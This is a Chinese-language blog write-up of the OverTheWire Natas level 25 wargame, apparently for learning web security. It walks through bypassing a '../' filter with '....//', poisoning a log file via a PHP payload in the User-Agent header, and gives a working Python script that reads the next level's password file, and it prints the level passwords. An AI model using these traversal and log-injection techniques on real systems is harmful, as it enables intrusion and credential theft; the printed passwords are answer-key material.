Overthewire-natas25

Overthewire level 25 to level 26

进入页面发现它输出了很长一段内容,仔细一瞅全是废话...但是它提供了一个选择英文和德文的界面,可以选择展示在首页上的文本的语言。

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en");
    }

    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }

    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;

        closedir($handle);
        return $listoffiles;
    }

    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

通过分析源代码,我们发现它用了一个自定义的safeinclude的函数来读取文件里的内容。
这个自定义的safeinclude函数定制了两个过滤路径的办法。

  1. strstr($filename,"../")
  2. strstr($filename,"natas_webpass")

两个函数的过滤等级不一样,第一个只是将路径里面的../替换成空,而第二个则是直接退出程序。因此我们可以触发一下第一个过滤的检测机制。
像字符串替换这种机制其实是很好绕过的, 比如说我们用....//,触发它的检测后字符串就会被替换成../,就达到了我们自定义路径的目的。

function setLanguage(){
    /* language setup */
    if(array_key_exists("lang",$_REQUEST))
        if(safeinclude("language/" . $_REQUEST["lang"] ))
            return 1;
    safeinclude("language/en");
    }

setLanguage()可以判断出ende这两个文件在language路径下,我们可以试试之前的路径替换是否生效。
请求http://natas25.natas.labs.overthewire.org/?lang=....//language/de, 发现它正常显示出了德文文本而不是默认的英文文本,因此判断这个路径渗透成功了。但是由于第二个过滤机制,我们不能直接从/etc/natas_webpass/natas26中读取密码,因此我们要想办法把它的内容提取到另外一个文件中。
网页的源码还提供了一些其它的函数

function logRequest($message){
    $log="[". date("d.m.Y H::i:s",time()) ."]";
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
    $log=$log . " \"" . $message ."\"\n";
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);
    fclose($fd);
}

这个log函数读取$message的内容,并且没有经过检测就直接将HTTP_USER_AGENT的内容拼接到log里面去,因此我们可以把它作为一个注入点,写入我们自定义的代码,并且结合之前的safeinclude漏洞可以让我们读取这个文件的内容。
因此我们可以大概确定攻击思路为

  1. 利用logRequest将密码读取到日志中
  2. 将该日志展示出来。

我们先看看现在的log内容
请求http://natas25.natas.labs.overthewire.org/index.php?lang=....//logs/natas25_6siv6f15h81cpc3t44fi08eha5.log

[29.05.2021 11::28:40] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::44:47] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:09] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:29] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::49:57] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request."
Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80

Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81

Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82

这是include(../logs/natas25_natas25_6siv6f15h81cpc3t44fi08eha5.log)之后的内容,由于include在读取php文件时会进行预处理,结合这里log文件中的UNdefined variable: __GREETING...可以判断出,展示出来的首页需要有三个变量__GREETING, __MSG, __FOOTER, 我们只需要将密码设置在这三个变量中的一个即可。攻击代码如下

import requests

auth = ('natas25', 'GHF6X7YwACaYYssHVY05cFq83hRktl4c')
resp = requests.get('http://natas25.natas.labs.overthewire.org', auth=auth)
sid = resp.cookies['PHPSESSID']
resp = requests.get(f'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_{sid}.log',
                    auth=auth,
                    headers={
                        'User-Agent': "<?php global $__MSG;$__MSG=file_get_contents('/etc/natas_webpass/natas26'); ?>"},
                    cookies={'PHPSESSID': sid})
print(resp.text)

第26关的密码为oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

posted @ 2021-05-30 00:19  wudiiv11  阅读(105)  评论(0编辑  收藏  举报